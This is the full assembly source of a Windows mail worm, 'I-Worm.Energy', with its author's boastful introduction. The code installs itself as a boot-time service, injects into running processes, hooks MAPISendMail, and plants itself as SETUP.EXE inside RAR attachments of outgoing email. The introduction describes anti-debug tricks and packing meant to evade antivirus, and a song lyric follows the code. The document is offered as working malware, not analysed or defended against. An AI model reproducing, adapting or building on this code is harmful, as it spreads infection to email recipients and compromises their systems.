COMMENT #

                             ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
                       	     ³  I-Worm.Energy   ³
                       	     ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
	                    ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
        	            ³    by Benny/29A    ³
                	    ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

hey all...
ÄÄÄÄÄÄÄÄÄÄÄ

it was one b0ring sunday, when I decided to code some small and kewl virus...
I was tired from coding large projectz (HIV, XTC)... I wanted to code one
worm with some nice ideaz, like the Win2k.Stream.

and here it is. after some meditationz, full of experiencez from psychedelics
I decided to call this worm "Energy"... it is very small worm, spreading via
RAR filez. it can parse all processes, hook there MAPISendMail API procedure
and infect all attached RAR filez in a message by dropping itself to there.
very similar technique of the process'es address space manipulationz is
described in my article "Multi-process residency" and Win32.HIV virus. surely
it can't work on Win95/98 systemz. it worx on Windows 2000 OS, and (perhaps)
also on earlier versionz of Windows NT - but I don't know, I haven't tested it.

it can stay resident in memory as a service, by standard API callz, valid only
in NT systemz. while infecting the RAR archivez it addz itself to there under
the "SETUP.EXE" filename, containing also the standard setup icon. I tried to
optimize the source a bit... I know the worm is not super-small, but I it is
resident heavilly armoured very effective tiny mail-spreading worm.


the scheme of execution:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

after execution:
- anti-* stuff
- if initialized by SCM, run as a service process
- copy worm to system directory as "ENERGY.EXE"
- register worm as service process and run it everytime the OS will start
- enum processes, find MAPI32.dll there and hook MAPSendMail (using many
  trics)
- wait one minute and again

hook_procedure:
- parse embedded filez and search for RAR filez.
- infect them by worm file: SETUP.EXE, mark as read-only (already-infected
  mark).


the worm is encrypted/compressed by "tElock, version 0.51", one very nice
utility for armouring executable filez. this protector containz many nice
anti-* featurez. that's why I decided to use it. and also becoz I think guyz at
AVP can't handle this one.

it is possible that worm containz some bugz. yeah, but I don't care... I'm glad
I was able to finish it in 2 dayz and that it was not b0ring. I had a fun.



If you would like to consult anything with me, feel free to contact me...



(c) 14th November 2000                            ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Czech Republic                                    ³ Benny / 29A ÀÄÄÄÄÄÄÄÄÄÄÄ¿
                                                  @ benny_29a@privacyx.com  ³
                                                  @ http://benny29a.cjb.net ³
                                                  ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
#


.586p
.model	flat						;blablabla

extrn	GetLastError:PROC				;needed APIz
extrn	EnumProcesses:PROC
extrn	OpenProcess:PROC
extrn	VirtualProtect:PROC
extrn	VirtualAllocEx:PROC
extrn	VirtualFreeEx:PROC
extrn	CloseHandle:PROC
extrn	CreateRemoteThread:PROC
extrn	WriteProcessMemory:PROC
extrn	Sleep:PROC
extrn	WaitForSingleObject:PROC
extrn	GetModuleHandleA:PROC
extrn	GetProcAddress:PROC
extrn	CreateFileA:PROC
extrn	WriteFile:PROC
extrn	GetModuleFileNameA:PROC
extrn	GetFileSize:PROC
extrn	ReadFile:PROC
extrn	VirtualFree:PROC
extrn	VirtualAlloc:PROC
extrn	SetFilePointer:PROC
extrn	SetFileAttributesA:PROC
extrn	OpenMutexA:PROC
extrn	ExitThread:PROC
extrn	GetSystemDirectoryA:PROC
extrn	CopyFileA:PROC


;extrn	OpenServiceA:PROC
;extrn	DeleteService:PROC				;***debug only!
extrn	OpenSCManagerA:PROC
extrn	CreateServiceA:PROC
extrn	CloseServiceHandle:PROC
extrn	StartServiceCtrlDispatcherA:PROC
extrn	RegisterServiceCtrlHandlerA:PROC
extrn	SetServiceStatus:PROC


include	useful.inc					;include filez
include	win32api.inc


PROC_COUNT		equ	40*4			;number of processes


.data
	db	?					;some data

.code
Start:							;worm code starts here
	pushad
        @SEH_SetupFrame <jmp    end_seh>                ;setup SEH frame

e_name:	@pushsz	'EnErGy'
	push	0
	push	1
	call	OpenMutexA				;check if mutex is
	test	eax,eax					;created, if not,
	je	end_seh					;we are prob. debugged
	push	eax
	call	CloseHandle				;close its handle

	jmp	SVCRegister				;logging as a service

e_svc:	push	256
	mov	esi, offset worm_name
	push	esi
	push	0
	call	GetModuleFileNameA			;get path+filename of
							;the worm
	mov	edi,offset sys_dir
	push	edi
	push	256
	push	edi
	call	GetSystemDirectoryA			;get windowz system dir.
	add	edi,eax
	mov	al,'\'
	stosb
	mov	eax,'rene'
	stosd
	mov	eax,'e.yg'
	stosd
	mov	eax,'ex'
	stosd						;construct path+filename

	pop	edi
	push	0
	push	edi
	push	esi
	call	CopyFileA				;copy worm to sys. dir.

	call	SVCCreate				;register as a service

	push	api_num
	pop	ecx
	call	@api_table
	dd	offset GetModuleHandleA			;adressez of APIz
	dd	offset GetProcAddress
	dd	offset VirtualProtect
	dd	offset CreateFileA
	dd	offset CloseHandle
	dd	offset WriteFile
	dd	offset GetFileSize
	dd	offset ReadFile
	dd	offset VirtualFree
	dd	offset VirtualAlloc
	dd	offset SetFilePointer
	dd	offset SetFileAttributesA
api_num = 12
@api_table:
	pop	ebx

	call	@api_dest				;addressez of variablez
	dd	offset _gmha				;that will hold APIz
	dd	offset _gpa
	dd	offset _vp
	dd	offset _cfa
	dd	offset _ch
	dd	offset _wf
	dd	offset _gfs
	dd	offset _rf
	dd	offset _vf
	dd	offset _va
	dd	offset _sfp
	dd	offset _sfaa
@api_dest:
	pop	esi

get_apiz:
	dec	ecx					;decrement counter
	mov	eax,[ebx+ecx*4]
	mov	eax,[eax+2]
	mov	eax,[eax]
	mov	edx,[esi+ecx*4]
	mov	[edx],eax				;store API address
	test	ecx,ecx
	jne	get_apiz

worm_loop:
	mov	ebx,offset tmp
	push	ebx
	push	PROC_COUNT
	mov	esi,offset proc_dump
	push	esi
	call	EnumProcesses				;enum all processez
	dec	eax
	jne	end_seh

	mov	ecx,[ebx]				;try this PID
p_check:lodsd
	call	proc_infect				;try to infect it
	add	ecx,-3
	loop	p_check					;try next PID

worm_wait:
	push	60000
	call	Sleep					;wait one minute
	jmp	worm_loop				;and try again.


;infect processez
proc_infect	Proc
	pushad
	push	eax
	push	0
	push	2 or 8 or 10h or 20h or 400h
	call	OpenProcess				;get handle to process
	xchg	eax,ecx
	jecxz	end_proc_infect
	mov	ebx,ecx

	push	PAGE_READWRITE
	push	MEM_RESERVE or MEM_COMMIT
	push	virtual_end-Start
	push	0
	push	ebx
	call	VirtualAllocEx				;allocate there memory
	xchg	eax,ecx					;for worm
	jecxz	end_proc_infect2
	mov	esi,ecx

	push	0
	push	virtual_end-Start
	push	offset Start
	push	esi
	push	ebx
	call	WriteProcessMemory			;copy there worm body
	dec	eax
	jne	end_proc_infect3

	lea	edx,[esi+offset ThreadEntry-offset Start]
	push	eax
	push	eax
	push	eax
	push	edx
	push	eax
	push	eax
	push	ebx
	call	CreateRemoteThread			;create thread there
	xchg	eax,ecx
	jecxz	end_proc_infect3
	push	ecx

	push	-1
	push	ecx
	call	WaitForSingleObject			;wait for its termination
	call	CloseHandle				;and close its handle
	jmp	end_proc_infect2			;and quit

end_proc_infect3:
	push	MEM_RELEASE
	push	0
	push	esi
	push	ebx
	call	VirtualFreeEx				;release memory if failed

end_proc_infect2:
	push	ebx
	call	CloseHandle				;close handle to process
end_proc_infect:
	popad
	ret						;and quit
proc_infect	EndP


;remote thread procedure
ThreadEntry	Proc
	pushad
	@SEH_SetupFrame	<jmp	end_seh>		;setup SEH frame
	call	gdelta
gdelta:	pop	ebp					;get delta offset

	@pushsz	'MAPI32.dll'
	mov	eax,12345678h
_gmha = dword ptr $-4
	call	eax					;get address of MAPI32.dll
	xchg	eax,ecx
	jecxz	end_seh					;quit if not loaded

	@pushsz	'MAPISendMail'
	push	ecx
	mov	eax,12345678h
_gpa = dword ptr $-4
	call	eax					;get address of
	xchg	eax,ecx					;MAPISendMail API
	jecxz	end_seh
	mov	esi,ecx					;to ESI

	lea	eax,[ebp + tmp - gdelta]
	push	eax
	push	PAGE_READWRITE
	push	5
	push	esi
	mov	eax,12345678h
_vp = dword ptr $-4
	call	eax					;release page protection
	xchg	eax,ecx
	jecxz	end_seh

	call	hook_api				;hook the API

end_seh:@SEH_RemoveFrame				;remove SEH frame
	popad						;and quit
	ret

;proc for API hooking
hook_api:
	mov	[ebp + old_MAPI_addr - gdelta],esi
	push	esi
	lea	edi,[ebp + old_MAPI_api - gdelta]
	movsd
	movsb						;save first bytez of API
	pop	edi
	mov	ebx,edi

	lea	eax,[ebp + MAPI_hooker - gdelta]
	sub	ebx,eax
	neg	ebx
	add	ebx,-5
	mov	al,0E9h
	stosb
	xchg	eax,ebx
	stosd						;overwrite by JMP <worm_api>
	ret

;the API hooker
MAPI_hooker:
	push	12345678h
old_MAPI_addr = dword ptr $-4				;save the address of API

	pushad
	mov	edi,[esp.cPushad]			;get ptr to message
	@SEH_SetupFrame	<jmp	end_seh>		;setup SEH frame
	push	edi

	mov	ebx,[esp.cPushad.28]
	mov	ecx,[ebx+40]				;number of attachmentz
	mov	ebx,[ebx+44]				;ptr to file fieldz

f_parse:mov	esi,[ebx+12]
	lea	edi,[ebp + arc_buffer - gdelta]
	push	edi
	@copysz
	dec	edi
	cmp	byte ptr [edi-1],'\'
	je	over_slash
	mov	al,'\'
	stosb
over_slash:
	mov	esi,[ebx+16]
	@copysz
	or	[esi-5],20202020h			;lower case
	cmp	[esi-5],'rar.'
	pop	esi					;create path+filename
	jne	o_r					;quit if not RAR file
	call	infect_archive				;try to infect this file
o_r:	sub	ebx,-24
	loop	f_parse					;try another file in msg

	pop	edi
	call	@m_res
	old_MAPI_api	db	5 dup (90h)
@m_res:	pop	esi
	movsd
	movsb						;remove the API hooker
	jmp	end_seh					;and quit


;procedure for RAR archive infecting
infect_archive:
	pushad
	@SEH_SetupFrame	<jmp	end_seh>		;setup SEH frame
	call	gd
gd:	pop	ebp					;get delta offset

	lea	eax,[ebp + worm_name - gd]		;get worm filename
	push	0
	push	FILE_ATTRIBUTE_NORMAL
	push	OPEN_EXISTING
	push	0
	push	0
	push	GENERIC_READ
	push	eax
	call	[ebp + _cfa - gd]			;open worm file
	inc	eax
	je	end_seh
	dec	eax
	mov	[ebp + hFile - gd],eax			;save handle

	push	0
	push	eax
	mov	eax,12345678h
_gfs = dword ptr $-4
	call	eax					;get its size
	push	eax

	push	PAGE_READWRITE
	push	MEM_RESERVE or MEM_COMMIT
	push	eax
	push	0
	mov	eax,12345678h
_va = dword ptr $-4
	call	eax					;allocate enough memory
	test	eax,eax
	pop	edx
	je	end_file
	xchg	eax,ebx

	push	edx
	push	0
	lea	eax,[ebp + tmp - gd]
	push	eax
	push	edx
	push	ebx
	push	dword ptr [ebp + hFile - gd]
	mov	eax,12345678h
_rf = dword ptr $-4					;and copy there worm
	call	eax
	call	close_file				;close handle to file
	pop	edi

	pushad
	mov	esi,ebx
	call	CRC32					;calculate CRC32 of
	mov	[ebp + RARCRC32 - gd],eax		;the worm file
	popad

	push	0
	push	FILE_ATTRIBUTE_NORMAL
	push	OPEN_EXISTING
	push	0
	push	0
	push	GENERIC_READ or GENERIC_WRITE
	push	esi
	mov	eax,12345678h
_cfa = dword ptr $-4
	call	eax					;open the archive
	inc	eax
	je	end_file2
	dec	eax
	mov	[ebp + hFile - gd],eax			;save its handle

	push	2
	push	0
	push	0
	push	eax
	mov	eax,12345678h
_sfp = dword ptr $-4
	call	eax					;go to EOF

	pushad
	lea	esi,[ebp + RARHeaderCRC+2 - gd]
	push	end_RAR-RARHeader-2 
	pop	edi
	call	CRC32					;calculate CRC32 of
	mov	[ebp + RARHeaderCRC - gd],ax		;the RAR file header
	popad						;and save it

	push	0
	lea	eax,[ebp + tmp - gd]
	push	eax
	push	end_RAR-RARHeader
	call	end_RAR
RARHeader:                                      	;No comment ;)
RARHeaderCRC	dw	0
RARType		db	74h
RARFlags	dw	8000h
RARHSize        dw      end_RAR-RARHeader
RARCompressed	dd	2000h
RAROriginal	dd	2000h
RAROS		db	0
RARCRC32	dd	0
RARFileDateTime dd      12345678h
RARNeedVer	db	14h
RARMethod	db	30h
RARFNameSize    dw      end_RAR-RARName
RARAttrib	dd	0
RARName		db	'SETUP.EXE'
end_RAR:
	push	dword ptr [ebp + hFile - gd]
	mov	eax,12345678h
_wf = dword ptr $-4
	call	eax					;write RAR file header

	push	0
	lea	eax,[ebp + tmp - gd]
	push	eax
	push	edi
	push	ebx
	push	dword ptr [ebp + hFile - gd]
	call	[ebp + _wf - gd]			;write the worm

end_file2:
	push	MEM_RELEASE
	push	0
	push	ebx
	mov	eax,12345678h
_vf = dword ptr $-4
	call	eax					;release the memory
end_file:
	call	close_file				;close the archive

	push	FILE_ATTRIBUTE_READONLY
	push	esi
	mov	eax,12345678h
_sfaa = dword ptr $-4
	call	eax					;set READ-ONLY attribute
	jmp	end_seh					;and quit

close_file:
	push	12345678h				;handle...
hFile = dword ptr $-4
	mov	eax,12345678h
_ch = dword ptr $-4
	call	eax					;close file handle
	ret

CRC32	Proc
	push	ecx					;procedure for 
	push	edx					;calculating CRC32s
	push	ebx       				;at run-time
        xor	ecx,ecx   
        dec	ecx        
        mov	edx,ecx   
NextByteCRC:           
        xor	eax,eax   
        xor	ebx,ebx   
        lodsb          
        xor	al,cl     
	mov	cl,ch
	mov	ch,dl
	mov	dl,dh
	mov	dh,8
NextBitCRC:
	shr	bx,1
	rcr	ax,1
	jnc	NoCRC
	xor	ax,08320h
	xor	bx,0EDB8h
NoCRC:  dec	dh
	jnz	NextBitCRC
	xor	ecx,eax
	xor	edx,ebx
        dec	edi
	jne	NextByteCRC
	not	edx
	not	ecx
	pop	ebx
	mov	eax,edx
	rol	eax,16
	mov	ax,cx
	pop	edx
	pop	ecx
SVCHandler:
	ret
CRC32	EndP
ThreadEntry	EndP


;log on to SCM
SVCRegister	Proc
	call	_dt
	dd	offset e_name+5
	dd	offset service_start
	dd	0
	dd	0
_dt:	call	StartServiceCtrlDispatcherA		;start service dispatcher
	dec	eax
	jne	e_svc					;quit if error (no service
							;requestz)
	push	0
	call	ExitThread				;terminate this thread

service_start:						;execution goes here...
	pushad
	@SEH_SetupFrame	<jmp end_seh>			;setup SEH frame

	push	offset SVCHandler
	push	offset e_name+5
	call	RegisterServiceCtrlHandlerA		;register service control
	test	eax,eax					;handler
	je	e_svc					;quit if error
	push	eax

	call	_ss
ss_:	dd	10h or 20h
	dd	4
	dd	0
	dd	0
	dd	0
	dd	0
	dd	0
_ss:	push	eax
	call	SetServiceStatus			;set service status
	call	CloseServiceHandle			;close service handle
	jmp	e_svc					;and quit
SVCRegister	EndP


;create item at SCM
SVCCreate	Proc
	push	000F0000h or 2
	push	0
	push	0
	call	OpenSCManagerA				;get handle to SCM
	test	eax,eax
	je	e_scm0
	xchg	eax,esi

;	push	000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
;	push	offset e_name+5
;	push	esi
;	call	OpenServiceA				;*** debug!
;
;	push	eax
;	push	eax
;	call	DeleteService				;*** debug!
;	call	CloseServiceHandle			;*** debug!

	xor	eax,eax
	push	eax
	push	eax
	push	eax
	push	eax
	push	eax
	push	offset sys_dir
	push	eax
	push	2
	push	10h
	push	000F0000h or 1 or 2 or 4 or 8 or 10h or 20h or 40h or 80h or 100h
	push	offset e_name+5
	push	dword ptr [esp]
	push	esi
	call	CreateServiceA				;create service item
	test	eax,eax					;at SCM
	je	e_scm1					;quit if error

	push	eax
	call	CloseServiceHandle			;close service handlez
e_scm1:	push	esi
	call	CloseServiceHandle			;...
e_scm0:	ret						;and quit
SVCCreate	EndP


signature		db	0,'[I-Worm.Energy] by Benny/29A',0
							;signature
	proc_dump	db	PROC_COUNT dup (?)	;buffer for PIDz
	worm_name	db	256 dup (?)		;buffer for filename
	tmp		dd	?			;temporary variable
	sys_dir		db	256 dup (?)		;buffer for system dir.
	arc_buffer	db	256 dup (?)		;buffer for archive
							;filename
virtual_end:						;...end of virus.
ends
end    Start						;.


;bonus:
;here are lyrics from "Imagine", one very nice song from John Lennon.

;		Imagine there's no heaven, 
;		It's easy if you try, 
;		No hell below us, 
;		Above us only sky, 
;		Imagine all the people 
;		living for today... 
;
;		Imagine there's no countries, 
;		It isn't hard to do, 
;		Nothing to kill or die for, 
;		No religion too, 
;		Imagine all the people 
;		living life in peace... 
;
;		You may say I'm a dreamer, 
;		but I'm not the only one, 
;		I hope some day you'll join us, 
;		And the world will live as one.
;
;		Imagine no possesions, 
;		I wonder if you can, 
;		No need for greed or hunger, 
;		A brotherhood of man, 
;		Imagine all the people 
;		Sharing all the world... 
;
;		You may say I'm a dreamer, 
;		but I'm not the only one, 
;		I hope some day you'll join us, 
;		And the world will live as one.